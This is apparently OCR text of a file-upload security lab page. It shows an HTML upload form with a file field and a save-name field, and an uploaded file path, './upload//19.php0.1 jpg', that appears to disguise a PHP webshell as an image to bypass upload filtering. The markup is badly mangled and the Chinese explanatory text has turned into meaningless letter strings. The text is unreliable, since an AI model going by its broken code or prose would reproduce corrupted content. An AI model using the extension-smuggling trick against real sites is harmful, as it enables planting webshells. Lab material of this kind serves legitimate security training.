=p=_EfE—T=code=webshell < fcode =RIfREE. </p=
=/li=
z[i=»
<h3s FEE</h3i=
=form enctype="multipart/form-data" method="post"=
<p-HIEEE HEMERE: <p-
=input class="input file" type="file" name="upload f
<p>ﬂﬁgﬁ{:<p>
zinput class="input_text" type="text" name="save_ne
zinput class="button" type="submit" name="submit'
< /form=
=div id="msg"=
=/div>
=div id="img"=
| =img sre=".Jupload//19.php0.1 jpg" }-\tidth="250px"
=/li=

=fol=

AURBU LR kP AR ERN, ARRRIMER, RERBEERNARIN, BAXNENSHE

H.
FEEERENEEEE, AR EREH.
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